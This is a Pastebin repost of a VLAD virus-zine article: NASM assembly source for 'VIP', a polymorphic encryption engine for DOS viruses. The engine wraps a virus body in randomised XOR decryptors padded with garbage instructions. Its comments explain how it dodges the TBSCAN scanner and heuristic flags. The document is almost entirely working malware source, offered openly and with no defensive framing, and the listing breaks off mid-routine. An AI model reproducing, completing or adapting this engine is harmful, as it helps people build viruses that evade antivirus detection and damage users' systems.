Advertisement
FlyFar

VLAD Magazine - Issue #6 - ARTICLE.4_3 - VLAD Infinite Polymorphic - VIP

Nov 19th, 2023
1,377
0
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 30.01 KB | Cybersecurity | 0 0
  1. ;
  2. ;               VLAD Infinite Polymorphic - VIP
  3. ;               by Qark - VLAD
  4. ;
  5. ; This engine is good in some respects, and poor in others.
  6. ; The encryption it creates is fairly easy to crack, being a looping
  7. ; xor with a keychange (all registers/values chosen at random),
  8. ; but the encryption loops are very hard to detect.  There are four
  9. ; different loop types, of which TBSCAN can only find two.
  10. ;
  11. ; At the start of the decryptor, the engine won't produce some instructions
  12. ; that flag heuristics.  For this reason, VIP avoids alot of the heuristic
  13. ; problems most other garbage generators have.  For example:
  14. ;  Doesn't produce INC/DEC in the first 20 bytes to avoid flags.
  15. ;  Doesn't produce memory operations in the first 10 bytes.
  16. ;  Doesn't produce XCHG in the first 10 bytes.
  17. ;  Always uses the short version of instructions (AX/AL Imm etc)
  18. ;
  19. ; One problem that couldn't be avoided is the creation of FFFF word pointers
  20. ; causing crashes.  The likelihood of them occurring is low (about 1 in 300
  21. ; samples) because danger instructions have been put to a minimum.
  22. ; (eg mov ax,[bx-1] bx=0, isn't produced anymore).
  23. ;
  24. ; If you're wondering why the polymorphism produced isn't changing, that's
  25. ; because it's an example of slow polymorphism.
  26. ;
  27. ; To assemble, use it as an include file for the program that calls it.
  28. ;
  29.  
  30.  
  31. VIP:
  32. ;On entry:
  33. ;       AL    = 1 if COM file
  34. ;       DS:SI = Points to the unencrypted virus
  35. ;       ES:DI = Place to store encrypted virus
  36. ;       CX    = length of virus
  37. ;       BP    = delta offset
  38. ;    Assumes CS=DS=ES
  39. ;On return:
  40. ;       CX    = length of decryptor + encrypted code
  41.  
  42.         cld
  43.         mov     word ptr saved_cx,cx
  44.         mov     word ptr saved_di,di
  45.         mov     word ptr saved_si,si
  46.         mov     byte ptr segtype,al
  47.         mov     byte ptr inloop,0               ;Initialise variable
  48.  
  49.         ;Initialise our randomisation for slow polymorphism.
  50.         call    init_rand
  51.  
  52.         ;Clear the register table
  53.  
  54.         call    unmark_all
  55.  
  56.         ;Clear the displacements
  57.         call    clear_displacement
  58.  
  59.         ;Select a random decryption type.
  60. rand_routine:
  61.         call    get_rand
  62.         mov     si,offset dec_type
  63.         and     ax,3*2
  64.         add     si,ax
  65.         mov     ax,word ptr [si]
  66.         jmp     ax
  67.  
  68. Standard:
  69. ;Uses 'standard' encryption.
  70. ; ----This is a basic layout of the decryptor----
  71. ;       mov     pointer,offset virus_start
  72. ;       mov     cipher,xorval
  73. ;     loop:
  74. ;       xor     word ptr pointer,cipher
  75. ;       inc     pointer
  76. ;       inc     pointer
  77. ;       cmp     pointer,virus_start+virlength
  78. ;       jne     loop
  79. ;     virus_start:
  80. ; -----------------------------------------------
  81.  
  82.         call    startup                 ;Setup pointer and cipher
  83.  
  84.         mov     byte ptr inloop,1
  85.         mov     word ptr loopstart,di
  86.  
  87.         call    encrypt_type
  88.  
  89.         or      al,0f8h
  90.         mov     ah,al
  91.         mov     al,81h                  ;CMP pointer,xxxx
  92.         stosw
  93.  
  94.         call    round_up
  95.         add     ax,word ptr pointer1val
  96.         stosw
  97.  
  98.         call    handle_jne              ;JNE xx
  99.         call    calc_jne
  100.  
  101.         mov     byte ptr inloop,0
  102.  
  103.         ;Calculate the displacement
  104.         call    fix_displacements
  105.  
  106.         call    encrypt_virus
  107.  
  108.         call    decryptor_size
  109.  
  110.         ret
  111.  
  112. Stack1:
  113. ;Use the stack method for encryption.  This method doesnt work on EXE's
  114. ;because SS <> CS.
  115. ; ----This is a basic layout of the decryptor----
  116. ;       mov     sp,offset virus_start
  117. ;       mov     cipher,xor_val
  118. ;     loop:
  119. ;       pop     reg
  120. ;       xor     reg,cipher
  121. ;       push    reg
  122. ;       pop     randomreg
  123. ;       cmp     sp,virus_start+virus_length
  124. ;       jne     loop
  125. ; -----------------------------------------------
  126.  
  127.         cmp     byte ptr segtype,0
  128.         jne     stack1_ok
  129.         jmp     rand_routine
  130. stack1_ok:
  131.         call    rand_garbage
  132.         call    rand_garbage
  133.         mov     al,0bch         ;MOV SP,xxxx
  134.         stosb
  135.         mov     word ptr displace,di
  136.         mov     ax,bp
  137.         stosw
  138.  
  139.         call    setup_cipher
  140.        
  141.         mov     byte ptr inloop,1
  142.         mov     word ptr loopstart,di
  143.  
  144.         call    select_reg
  145.         call    rand_garbage
  146.         push    ax
  147.         or      al,58h                  ;POP reg
  148.         stosb
  149.         call    rand_garbage
  150.  
  151.         mov     al,33h                  ;XOR reg,reg
  152.         stosb
  153.  
  154.         pop     ax
  155.         push    ax
  156.         push    cx
  157.         mov     cl,3
  158.         shl     al,3
  159.         or      al,byte ptr cipher
  160.         or      al,0c0h
  161.         stosb
  162.         pop     cx
  163.  
  164.         call    rand_garbage
  165.        
  166.         pop     ax
  167.         or      al,50h          ;PUSH reg
  168.         stosb
  169.  
  170.         call    rand_garbage
  171. next_pop:
  172.         call    get_rand
  173.         call    check_reg
  174.         jc      next_pop
  175.         and     al,7
  176.         or      al,58h          ;POP reg  (=add sp,2)
  177.         stosb
  178.        
  179.         call    rand_garbage
  180.  
  181.         mov     ax,0fc81h               ;CMP SP,xxxx
  182.         stosw
  183.         mov     word ptr displace2,di
  184.        
  185.         call    round_up
  186.         add     ax,bp
  187.         stosw
  188.  
  189.         call    handle_jne
  190.         call    calc_jne
  191.  
  192.         mov     byte ptr inloop,0
  193.  
  194.         mov     al,0bch         ;mov sp,0fffeh
  195.         stosb
  196.         mov     ax,0fffeh
  197.         stosw
  198.  
  199.         call    rand_garbage
  200.  
  201.         ;Calculate the displacement
  202.         call    fix_displacements
  203.  
  204.         mov     si,word ptr saved_si
  205.         mov     cx,word ptr saved_cx
  206.         inc     cx
  207.         shr     cx,1
  208.         mov     bx,word ptr xorval
  209. enc_stack1:
  210.         lodsw
  211.         xor     ax,bx
  212.         stosw
  213.         loop    enc_stack1
  214.  
  215.         call    decryptor_size
  216.  
  217.         ret
  218.  
  219. Call_Enc:
  220. ;Uses recursive calls to decrypt the virus.  Needs a big stack or else it will
  221. ;crash.
  222. ; ----This is a basic layout of the decryptor----
  223. ;       mov     pointer,offset virus_start
  224. ;       mov     cipher,xorval
  225. ;     loop:
  226. ;       cmp     pointer,virus_start+virus_length
  227. ;       jne     small_dec
  228. ;       ret
  229. ;     small_dec:
  230. ;       xor     word ptr pointer,cipher
  231. ;       inc     pointer
  232. ;       inc     pointer
  233. ;       call    loop
  234. ;       add     sp,virus_length-2
  235. ; -----------------------------------------------
  236.  
  237.         call    startup
  238.        
  239.         mov     byte ptr inloop,1
  240.  
  241.         mov     word ptr loopback,di
  242.         call    rand_garbage
  243.  
  244.         mov     al,byte ptr pointer
  245.         or      al,0f8h
  246.         mov     ah,al
  247.         mov     al,81h                  ;CMP pointer,xxxx
  248.         stosw
  249.        
  250.         call    round_up
  251.         add     ax,word ptr pointer1val
  252.         stosw
  253.  
  254.         call    handle_jne
  255.  
  256.         mov     word ptr loopf,di
  257.         stosb
  258.  
  259.         call    rand_garbage
  260.  
  261.         mov     al,0c3h                 ;RET
  262.         stosb
  263.        
  264.         call    rand_garbage
  265.  
  266.         mov     ax,di                   ;Fix the JNE.
  267.         mov     si,word ptr loopf
  268.         inc     si
  269.         sub     ax,si
  270.         dec     si
  271.         mov     byte ptr [si],al
  272.        
  273.         call    encrypt_type
  274.  
  275.         mov     al,0e8h                 ;CALL xxxx
  276.         stosb
  277.         mov     ax,di
  278.         inc     ax
  279.         inc     ax
  280.         sub     ax,word ptr loopback
  281.         neg     ax
  282.         stosw
  283.  
  284.         mov     byte ptr inloop,0
  285.  
  286.         call    rand_garbage
  287.  
  288.         mov     ax,0c481h
  289.         stosw
  290.         mov     ax,word ptr saved_cx
  291.         dec     ax
  292.         dec     ax
  293.         stosw
  294.  
  295.         call    rand_garbage
  296.  
  297.         ;Calculate the displacement
  298.         call    fix_displacements
  299.        
  300.         call    encrypt_virus
  301.        
  302.         call    decryptor_size
  303.  
  304.         ret
  305.  
  306. Call_Enc2:
  307. ;Decrypts the virus from within a call.
  308. ; ----This is a basic layout of the decryptor----
  309. ;       mov     pointer,offset virus_start
  310. ;       mov     cipher,xorval
  311. ;       call    decrypt
  312. ;       jmp     short virus_start
  313. ;     decrypt:
  314. ;       xor     pointer,cipher
  315. ;       inc     pointer
  316. ;       inc     pointer
  317. ;       cmp     pointer,virus_start+viruslength
  318. ;       jne     decrypt
  319. ;       ret
  320. ; -----------------------------------------------
  321.  
  322.         call    startup
  323.  
  324.         mov     byte ptr inloop,1
  325.  
  326.         mov     al,0e8h                 ;CALL xxxx
  327.         stosb
  328.         stosw
  329.         mov     word ptr loopf16,di
  330.        
  331.         call    rand_garbage
  332.  
  333.         mov     al,0e9h                 ;JMP xxxx
  334.         stosb
  335.         mov     word ptr displace2,di
  336. ;        mov     ax,di
  337. ;        inc     ax
  338. ;        inc     ax
  339. ;        sub     ax,saved_di
  340. ;        neg     ax
  341.         stosw
  342.  
  343.         call    rand_garbage
  344.         call    rand_garbage
  345.  
  346.         mov     ax,di
  347.         mov     si,word ptr loopf16
  348.         sub     ax,si
  349.         mov     word ptr [si-2],ax
  350.  
  351.         mov     word ptr loopstart,di
  352.  
  353.         call    encrypt_type
  354.        
  355.         or      al,0f8h
  356.         mov     ah,al
  357.         mov     al,81h          ;CMP pointer,xxxx
  358.         stosw
  359.  
  360.         call    round_up
  361.         add     ax,word ptr pointer1val
  362.         stosw
  363.  
  364.         call    handle_jne
  365.         call    calc_jne
  366.  
  367.         mov     al,0c3h                 ;ret
  368.         stosb
  369.  
  370.         mov     byte ptr inloop,0
  371.  
  372.         call    rand_garbage
  373.  
  374.         mov     ax,di
  375.         mov     si,word ptr displace2
  376.         sub     ax,si
  377.         dec     ax
  378.         dec     ax
  379.         mov     [si],ax
  380.         mov     word ptr displace2,0
  381.  
  382.         call    rand_garbage
  383.  
  384.         ;Calculate the displacement
  385.         call    fix_displacements
  386.        
  387.         call    encrypt_virus
  388.        
  389.         call    decryptor_size
  390.  
  391.         ret
  392.  
  393.         db      'VIP V1.0 by Qark/VLAD'
  394.  
  395.  
  396. ;All the different encryption types
  397. dec_type        dw      offset stack1
  398.                 dw      offset call_enc
  399.                 dw      offset call_enc2
  400.                 dw      offset standard
  401.  
  402. segtype         db      0       ;1 if com file
  403. saved_cx        dw      0       ;the initial CX
  404. saved_di        dw      0       ;the initial DI
  405. saved_si        dw      0
  406.  
  407. displace        dw      0
  408. displace2       dw      0
  409.                 dw      0
  410.  
  411. displaceb       dw      0
  412.  
  413. inloop          db      0       ;=1 if inside a loop else 0
  414.                                 ;if set no 'word ptr' instructions made
  415. loopstart       dw      0       ;for backwards 8 bit
  416. loopf           dw      0       ;for forwards 8 bit
  417. loopback        dw      0       ;backwards 16 bit
  418. loopf16         dw      0       ;forwards 16 bit
  419. xorval          dw      0
  420.  
  421. cipher          db      0
  422.  
  423. r_m             db      0       ;The r-m of the pointer
  424.  
  425. ;�������������������������������������������������������
  426. ;General routines, used universally
  427. ;�������������������������������������������������������
  428. Check_Reg:
  429. ;Returns a carry if the register in lower 3 bits of al is bad
  430.         push    ax
  431.         push    si
  432.         and     ax,7
  433.         mov     si,offset reg
  434.         add     si,ax
  435.         cmp     byte ptr [si],0
  436.         pop     si
  437.         pop     ax
  438.         je      ok_reg
  439.         stc
  440.         ret
  441. ok_reg:
  442.         clc
  443.         ret
  444.         ;       ax,cx,dx,bx,sp,bp,si,di
  445. reg     db      00,00,00,00,01,00,00,00
  446.  
  447. Mark_Reg:
  448. ;Mark a register as used, AL=reg
  449.         push    ax
  450.         push    si
  451.         and     ax,7
  452.         mov     si,offset reg
  453.         add     si,ax
  454.         mov     byte ptr [si],1
  455.         pop     si
  456.         pop     ax
  457.         ret
  458.  
  459. UnMark_All:
  460. ;Clears the register table, and sets SP
  461.         push    ax
  462.         push    di
  463.         push    cx
  464.         mov     di,offset reg
  465.         mov     al,0
  466.         mov     cx,8
  467.         cs:
  468.         rep     stosb
  469.         mov     byte ptr cs:[reg+4],1      ;set sp
  470.         pop     cx
  471.         pop     di
  472.         pop     ax
  473.         ret
  474.  
  475. Clear_Displacement:
  476. ;Clears all the displacement variables
  477.         push    di
  478.         push    ax
  479.         mov     di,offset displace
  480.         xor     ax,ax
  481.         stosw
  482.         stosw
  483.         stosw
  484.         stosw
  485.         stosw
  486.         pop     ax
  487.         pop     di
  488.         ret
  489.  
  490. Select_Pointer:
  491. ;Select an r-m as a pointer, you must call this routine before reserving
  492. ;any registers.  Updates the variable r_m.
  493.         push    ax
  494.         push    si
  495.         call    get_rand
  496.         and     ax,7
  497.         mov     byte ptr r_m,al
  498.  
  499.         call    index_2_pointer
  500.         mov     al,byte ptr [si]
  501.         call    mark_reg
  502.         inc     si
  503.         mov     al,byte ptr [si]
  504.         cmp     al,0
  505.         je      no_pointer2
  506.         call    mark_reg
  507. no_pointer2:
  508.         pop     si
  509.         pop     ax
  510.         ret
  511.  
  512. Setup_Pointer:
  513. ;Sets up the registers specified in the r-m with random values.  These
  514. ;values are put into the variable 'pointval'.
  515. ;Moves the instructions into ES:DI.
  516.         push    ax
  517.         push    si
  518.  
  519.         call    rand_garbage
  520.  
  521.         call    index_2_pointer
  522.         mov     al,byte ptr [si]
  523.         mov     byte ptr pointer,al
  524.         or      al,0b8h                 ;MOV REG,xxxx
  525.         stosb
  526.         call    get_rand
  527.         stosw
  528.         mov     word ptr pointval,ax
  529.         mov     word ptr pointer1val,ax
  530.  
  531.         call    rand_garbage
  532.  
  533.         mov     al,byte ptr [si+1]
  534.         cmp     al,0
  535.         je      no_setupp2
  536.  
  537.         or      al,0b8h                 ;MOV REG,xxxx
  538.         stosb
  539.  
  540.         call    get_rand
  541.         stosw
  542.         add     word ptr pointval,ax
  543.  
  544.         call    rand_garbage
  545.  
  546. no_setupp2:
  547.  
  548.         pop     si
  549.         pop     ax
  550.         ret
  551.  
  552. Index_2_Pointer:
  553. ;Sets SI to the 'pointers' table of the r_m
  554.         push    ax
  555.         xor     ax,ax
  556.         mov     al,byte ptr r_m
  557.         shl     ax,1
  558.         mov     si,offset pointers
  559.         add     si,ax
  560.         pop     ax
  561.         ret
  562.  
  563. pointer         db      0               ;the first register
  564. pointer1val     dw      0               ;the value of the first register
  565. pointval        dw      0
  566. Pointers        db      3,6     ;[bx+si]
  567.                 db      3,7     ;[bx+di]
  568.                 db      5,6     ;[bp+si]
  569.                 db      5,7     ;[bp+di]
  570.                 db      6,0     ;[si]
  571.                 db      7,0     ;[di]
  572.                 db      5,0     ;[bp]
  573.                 db      3,0     ;[bx]
  574.  
  575. Select_Reg:
  576. ;Reserves a random register, and passes it out in AL
  577. ;AH is destroyed
  578.         call    get_rand
  579.         call    check_reg
  580.         jc      select_reg
  581.         and     al,7
  582.         call    mark_reg
  583.         ret
  584.  
  585. Setup_Reg:
  586. ;Puts the value specified in BX, into the register specified in AL.
  587. ;-Needs Fixing- to add a possible SUB, and also the garbage generation needs
  588. ;to produce the same add/sub opcodes.
  589.  
  590.         push    ax
  591.         push    bx
  592.  
  593.         call    rand_garbage
  594.  
  595.         and     al,7
  596.         push    ax
  597.         or      al,0b8h         ;MOV reg,xxxx
  598.         stosb
  599.        
  600.         call    get_rand
  601.  
  602.         sub     bx,ax
  603.         stosw
  604.  
  605.         call    rand_garbage
  606.  
  607.         pop     ax
  608.         cmp     al,0
  609.         jne     long_addreg
  610.         mov     al,5            ;ADD AX,xxxx
  611.         stosb
  612.         jmp     short finish_add
  613. long_addreg:
  614.         or      al,0c0h
  615.         mov     ah,al
  616.         mov     al,81h
  617.         stosw                   ;ADD reg,xxxx
  618. finish_add:
  619.         mov     ax,bx
  620.         stosw
  621.        
  622.         call    rand_garbage
  623.  
  624.         pop     bx
  625.         pop     ax
  626.         ret
  627.  
  628. Seg_Override:
  629. ;Puts the correct segment before a memory write.  The memory write must be
  630. ;called immediately afterwards.
  631.         push    ax
  632.         cmp     byte ptr segtype,1
  633.         je      no_segset
  634.         mov     al,2eh          ;CS:
  635.         stosb
  636. no_segset:
  637.         pop     ax
  638.         ret
  639.  
  640. Fix_Pointer:
  641. ;Fixes up the mod/rm field of a pointer instruction.  Before this routine
  642. ;is called, the opcode field has already been stosb'd. eg for xor, 31h has
  643. ;been put into the current es:[di-1].
  644. ;on entry AL=register
  645. ;The displacement field (the following 2 bytes) must be fixed up manually.
  646.  
  647.         push    ax
  648.         push    bx
  649.         push    cx
  650.  
  651.         mov     cl,3
  652.         shl     al,cl
  653.         or      al,byte ptr r_m
  654.         or      al,80h
  655.         stosb
  656.  
  657.         pop     cx
  658.         pop     bx
  659.         pop     ax
  660.         ret
  661.  
  662. Dec_Inc_Reg:
  663. ;Inc/Dec's the reg in AL. AH= 0=inc 1=dec
  664. ;No garbage generators are called in this routine, because the flags
  665. ;may be important.
  666.         push    ax
  667.         mov     byte ptr dec_inc,ah
  668.         call    get_rand
  669.         test    al,1
  670.         pop     ax
  671.         push    ax
  672.         jnz     do_inc_dec
  673.         cmp     al,0            ;check for ax
  674.         jne     not_ax_incdec
  675.         mov     ax,0ff05h       ;ADD AX,ffff  = DEC AX
  676.         cmp     byte ptr dec_inc,0
  677.         jne     fdec1
  678.         mov     al,2dh          ;SUB
  679. fdec1:
  680.         stosw
  681.         mov     al,0ffh
  682.         stosb
  683.         pop     ax
  684.         ret
  685. not_ax_incdec:
  686.         cmp     byte ptr dec_inc,0
  687.         je      fdec2
  688.         or      al,0c0h
  689.         jmp     short fdec3
  690. fdec2:
  691.         or      al,0e8h
  692. fdec3:
  693.         mov     ah,al
  694.         mov     al,83h          ;ADD reg,ffff = DEC reg
  695.         stosw
  696.         mov     al,0ffh
  697.         stosb
  698.         pop     ax
  699.         ret
  700. do_inc_dec:
  701.         or      al,40h          ;INC reg
  702.         cmp     byte ptr dec_inc,0
  703.         je      fdec4
  704.         or      al,8
  705. fdec4:
  706.         stosb
  707.         pop     ax
  708.         ret
  709. dec_inc db      0               ;0=inc 1=dec
  710.  
  711. Round_Up:
  712. ;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX.
  713.         mov     ax,word ptr saved_cx
  714.         inc     ax
  715.         shr     ax,1
  716.         shl     ax,1
  717.         mov     word ptr saved_cx,ax
  718.         ret
  719.  
  720. Fix_Displacements:
  721. ;Adds the size of the produced decyptors to the data listed in the
  722. ;displacement variables. 0 Values signal the end.
  723. ;DI=The final length of the 'decryptor'
  724.  
  725.         push    ax
  726.         push    si
  727.        
  728.         mov     ax,di
  729.         sub     ax,word ptr saved_di
  730.         push    di
  731.         mov     si,offset displace
  732. disp_loop:
  733.         cmp     word ptr [si],0
  734.         je      last_displacement
  735.         mov     di,[si]
  736.         add     [di],ax
  737.         inc     si
  738.         inc     si
  739.         jmp     short disp_loop
  740. last_displacement:
  741.         pop     di
  742.         pop     si
  743.         pop     ax
  744.         ret
  745.  
  746. Rand_Garbage:
  747. ;Generates 1-4 garbage instructions.
  748.         push    ax
  749.         call    get_rand
  750.         and     ax,07h
  751.         push    cx
  752.         mov     cx,ax
  753.         inc     cx
  754. start_garbage:
  755.         call    select_garbage
  756.         loop    start_garbage
  757.         pop     cx
  758.         pop     ax
  759.         ret
  760.  
  761. Select_Garbage:
  762. ;Selects a garbage routine to goto
  763.        
  764.         call    get_rand
  765.         and     ax,14
  766.         push    si
  767.         mov     si,offset calls
  768.         add     si,ax
  769.         mov     ax,word ptr [si]
  770.         pop     si
  771.         jmp     ax
  772.  
  773. calls   dw      offset Make_Inc_Dec
  774.         dw      offset Imm2Reg
  775.         dw      offset Rand_Instr
  776.         dw      offset Mov_Imm
  777.         dw      offset Make_Xchg
  778.         dw      offset Rand_Instr
  779.         dw      offset Mov_Imm
  780.         dw      offset Imm2Reg
  781.  
  782. Make_Inc_Dec:
  783. ;Puts a word INC/DEC in ES:DI
  784. ;eg INC  AX
  785. ;   DEC  BP
  786.  
  787.         mov     ax,di
  788.         sub     ax,word ptr saved_di
  789.         cmp     ax,15
  790.         ja      not_poly_start          ;inc/dec in the first 20 bytes, flags
  791.         ret
  792. not_poly_start:
  793.         call    get_rand
  794.         call    check_reg
  795.         jc      make_inc_dec
  796.         and     al,0fh
  797.         or      al,40h
  798.        
  799.         test    al,8
  800.         jnz     calc_dec
  801.  
  802.         stosb
  803.         ret
  804. calc_dec:
  805.         mov     ah,al
  806.         and     al,7
  807.         cmp     al,2
  808.         ja      Make_Inc_Dec
  809.         mov     al,ah
  810.         stosb
  811.         ret
  812.  
  813. Fix_Register:
  814. ;AX=random byte, where the expected outcome is ah=opcode al=mod/rm
  815. ;Carry is set if bad register.  Word_Byte is updated to show word/byte.
  816.         test    ah,1
  817.         jnz     word_garbage
  818.         mov     byte ptr word_byte,0
  819.         call    check_breg
  820.         jmp     short byte_garbage
  821. word_garbage:
  822.         mov     byte ptr word_byte,1
  823.         call    check_reg
  824. byte_garbage:
  825.         ret        
  826. word_byte       db      0       ;1=word, 0 = byte
  827.  
  828.  
  829. Imm2Reg:
  830. ;Immediate to register.
  831.         call    get_rand
  832.         call    fix_register
  833.         jc      imm2reg
  834.         test    al,7            ;AX/AL arent allowed (causes heuristics)
  835.         jz      imm2ax
  836.         xchg    al,ah
  837.         and     al,3
  838.         cmp     al,2            ;signed byte is bad
  839.         je      imm2reg
  840.         or      al,80h
  841.         or      ah,0c0h
  842.         stosw
  843.         test    al,2            ;signed word
  844.         jnz     ione_stosb
  845.         call    get_rand
  846.         cmp     byte ptr word_byte,1
  847.         jne     ione_stosb
  848.         stosb
  849. ione_stosb:
  850.         call    get_rand
  851.         stosb
  852.         ret
  853. imm2ax:
  854.         xchg    ah,al
  855.         and     al,3dh
  856.         or      al,4
  857.         stosw
  858.         test    al,1
  859.         jnz     ione_stosb
  860.         ret
  861.  
  862. Rand_Instr:
  863. ;Creates a whole stack of instructions.
  864. ;and,or,xor,add,sub,adc,cmp,sbb
  865.  
  866.         mov     ax,di
  867.         sub     ax,word ptr saved_di
  868.         cmp     ax,10
  869.         ja      not_poly_start2         ;in the first 20 bytes, flags G
  870.         ret
  871. not_poly_start2:
  872.         call    get_rand
  873.         ;Inloop stops xxx xx,word ptr [xxxx] instructions inside the
  874.         ;loops.  It changes them to 'byte ptr' which stops the ffff crash
  875.         ;problem.
  876.         cmp     byte ptr inloop,1
  877.         jne     ok_words
  878.         and     ah,0feh
  879. ok_words:
  880.         call    fix_register
  881.         jc      rand_instr
  882.         push    cx
  883.         mov     cl,3
  884.         rol     al,cl
  885.         pop     cx
  886.         xchg    ah,al
  887.         and     al,039h
  888.         or      al,2            ;set direction flag
  889.         stosb
  890.         mov     al,ah
  891.         and     al,0c0h
  892.         cmp     al,0c0h
  893.         je      zerobytedisp
  894.         cmp     al,0
  895.         je      checkdisp
  896.         cmp     al,80h
  897.         je      twobytedisp
  898.         ;sign extended
  899.         mov     al,ah
  900.         stosb
  901. negative_value:
  902.         call    get_rand
  903.         cmp     al,0ffh
  904.         je      negative_value
  905.         stosb
  906.         ret
  907. twobytedisp:
  908.         mov     al,ah
  909.         stosb
  910.         call    get_rand
  911.         stosw
  912.         ret
  913. checkdisp:
  914.         push    ax
  915.         and     ah,7
  916.         cmp     ah,6
  917.         pop     ax
  918.         je      twobytedisp
  919. zerobytedisp:
  920.         mov     al,ah
  921.         stosb
  922.         ret
  923.  
  924. Mov_Imm:
  925. ;Puts a MOV immediate instruction.
  926.         call    get_rand
  927.         test    al,8
  928.         jnz     word_mov
  929.         call    check_breg
  930.         jmp     short mov_check
  931. word_mov:
  932.         call    check_reg
  933. mov_check:
  934.         jc      mov_imm
  935.         and     al,0fh
  936.         or      al,0b0h
  937.         stosb
  938.         test    al,8
  939.         jnz     mov_word
  940.         call    get_rand
  941.         stosb
  942.         ret
  943. mov_word:
  944.         call    get_rand
  945.         stosw
  946.         ret
  947.  
  948. Init_Rand:
  949. ;Initialises the Get_Rand procedure.
  950.         push    ax
  951.         push    cx
  952.         push    dx
  953.         push    si
  954.         push    ds
  955.         mov     si,1
  956.         mov     ax,0ffffh               ;Get word from ROM BIOS.
  957.         mov     ds,ax
  958.         mov     ax,word ptr [si]
  959.         pop     ds
  960.         mov     word ptr randseed,ax
  961.         call    get_rand
  962.         push    ax
  963.         mov     ah,2ah                  ;Get Date.
  964.         int 21h ;call   int21h
  965.         pop     ax
  966.         add     ax,cx
  967.         xor     ax,dx
  968.         mov     word ptr randseed,ax
  969.         call    get_rand
  970.         pop     si
  971.         pop     dx
  972.         pop     cx
  973.         pop     ax
  974.         ret
  975.  
  976. Get_Rand:
  977. ;Gets a random number in AX.
  978.         push    cx
  979.         push    dx
  980.         mov     ax,word ptr randseed
  981.         mov     cx,ax
  982.         mov     dx,ax
  983.         and     cx,1ffh
  984.         or      cl,01fh
  985. propogate:
  986.         add     dx,ax
  987.         mul     dx
  988.         add     ax,4321h
  989.         neg     ax
  990.         ror     dx,1
  991.         loop    propogate
  992.         mov     word ptr randseed,ax
  993.        
  994.         pop     dx
  995.         pop     cx
  996.         ret
  997. randseed        dw      0
  998.  
  999. Make_Xchg:
  1000.         mov     ax,di
  1001.         sub     ax,word ptr saved_di
  1002.         cmp     ax,10
  1003.         ja      not_poly_start3         ;inc/dec in the first 20 bytes, flags
  1004.         ret
  1005. not_poly_start3:
  1006.  
  1007.         call    get_rand
  1008.         call    fix_register
  1009.         jc      make_xchg
  1010.         push    cx
  1011.         mov     cl,3
  1012.         rol     al,cl
  1013.         pop     cx
  1014.         call    fix_register
  1015.         jc      make_xchg
  1016.         test    ah,1
  1017.         jz      xchg_8bit
  1018.         test    al,7
  1019.         jz      xchg_ax2
  1020.         test    al,38h
  1021.         jz      xchg_ax1
  1022. xchg_8bit:
  1023.         and     ax,13fh
  1024.         or      ax,86c0h
  1025.         xchg    ah,al
  1026.         stosw
  1027.         ret
  1028. xchg_ax1:
  1029.         and     al,7
  1030.         or      al,90h
  1031.         stosb
  1032.         ret
  1033. xchg_ax2:
  1034.         push    cx
  1035.         mov     cl,3
  1036.         ror     al,cl
  1037.         pop     cx
  1038.         jmp     short xchg_ax1
  1039.  
  1040. Check_bReg:
  1041. ;Checks if an 8bit reg is used or not.
  1042. ;AL=register
  1043.         push    ax
  1044.         and     al,3
  1045.         call    check_reg
  1046.         pop     ax
  1047.         ret
  1048.  
  1049. Decryptor_Size:
  1050. ;Calculate the size of the decryptor + code
  1051. ;Entry: DI=everything done
  1052. ;Exit : CX=total decryptor length
  1053.  
  1054.         mov     cx,di
  1055.         sub     cx,word ptr saved_di
  1056.         ret
  1057.  
  1058. Setup_Cipher:
  1059. ;Randomly selects a cipher register and initialises it with a value.
  1060. ;Puts the register into the variable 'cipher' and the value into 'xorval'
  1061.  
  1062.         call    rand_garbage
  1063.         call    get_rand
  1064.         mov     bx,ax
  1065.         mov     word ptr xorval,ax
  1066.         call    select_reg
  1067.         mov     byte ptr cipher,al
  1068.         call    setup_reg
  1069.         call    rand_garbage
  1070.         ret
  1071.  
  1072. Startup:
  1073. ;Does the most common startup procedures.  Puts some garbage, and sets
  1074. ;up the pointer register.
  1075.  
  1076.         call    rand_garbage
  1077.         call    rand_garbage
  1078.         call    select_pointer          ;Setup pointer
  1079.         call    setup_pointer
  1080.  
  1081.         call    setup_cipher
  1082.         ret
  1083.  
  1084. Handle_JNE:
  1085. ;Randomly puts either JNE or JB at ES:DI.
  1086. ;Must be called after the CMP instruction.
  1087.         push    ax
  1088.         push    si
  1089.  
  1090.         ;Test to make sure our pointer isnt going +ffff, if so, only use
  1091.         ;jne, not jnb.
  1092.         call    round_up
  1093.         add     ax,word ptr pointer1val
  1094.         jnc     random_jne
  1095.         mov     al,75h
  1096.         jmp     short unrandom_jne
  1097. random_jne:
  1098.  
  1099.         call    get_rand
  1100.         and     ax,1
  1101.         mov     si,offset jne_table
  1102.         add     si,ax
  1103.         mov     al,byte ptr [si]
  1104. unrandom_jne:
  1105.         stosb
  1106.         pop     si
  1107.         pop     ax
  1108.         ret
  1109.  
  1110. jne_table       db      75h     ;JNE/JNZ
  1111.                 db      72h     ;JB/JNAE
  1112.  
  1113. Calc_JNE:
  1114. ;Calculates the distance needed to JMP backwards and puts it into ES:DI.
  1115. ;On entry DI points to the byte after a JNE/JB instruction
  1116. ;         and 'loopstart' contains the offset of the loop.
  1117.  
  1118.         push    ax
  1119.         mov     ax,di
  1120.         inc     ax
  1121.         sub     ax,word ptr loopstart
  1122.         neg     al
  1123.         stosb
  1124.         call    rand_garbage
  1125.         pop     ax
  1126.         ret
  1127.  
  1128. Increase_Pointer:
  1129. ;Increases the register specified in 'pointer' by two.
  1130. ;On exit AL=pointer register.
  1131.  
  1132.         call    rand_garbage
  1133.         xor     ax,ax
  1134.         mov     al,byte ptr pointer
  1135.         call    dec_inc_reg
  1136.         call    rand_garbage
  1137.         call    dec_inc_reg
  1138.         call    rand_garbage
  1139.         ret
  1140.  
  1141. Encrypt_Type:
  1142. ;Selects the type of encryption and sets everything up.
  1143.         call    rand_garbage
  1144.         call    seg_override
  1145.  
  1146.         call    rand3
  1147.         mov     al,byte ptr [si+1]
  1148.         mov     byte ptr encbyte,al
  1149.  
  1150.         mov     al,byte ptr [si]        ;The instruction from 'enc_table'
  1151.         stosb
  1152.  
  1153.         mov     al,byte ptr cipher
  1154.         call    fix_pointer
  1155.         mov     word ptr displace,di
  1156.        
  1157.         mov     ax,bp
  1158.         sub     ax,word ptr pointval
  1159.         stosw
  1160.  
  1161.         call    rand_garbage
  1162.        
  1163.         call    rand3
  1164.         mov     al,byte ptr [si+2]
  1165.         or      al,0c3h
  1166.         mov     byte ptr encb2,al
  1167.        
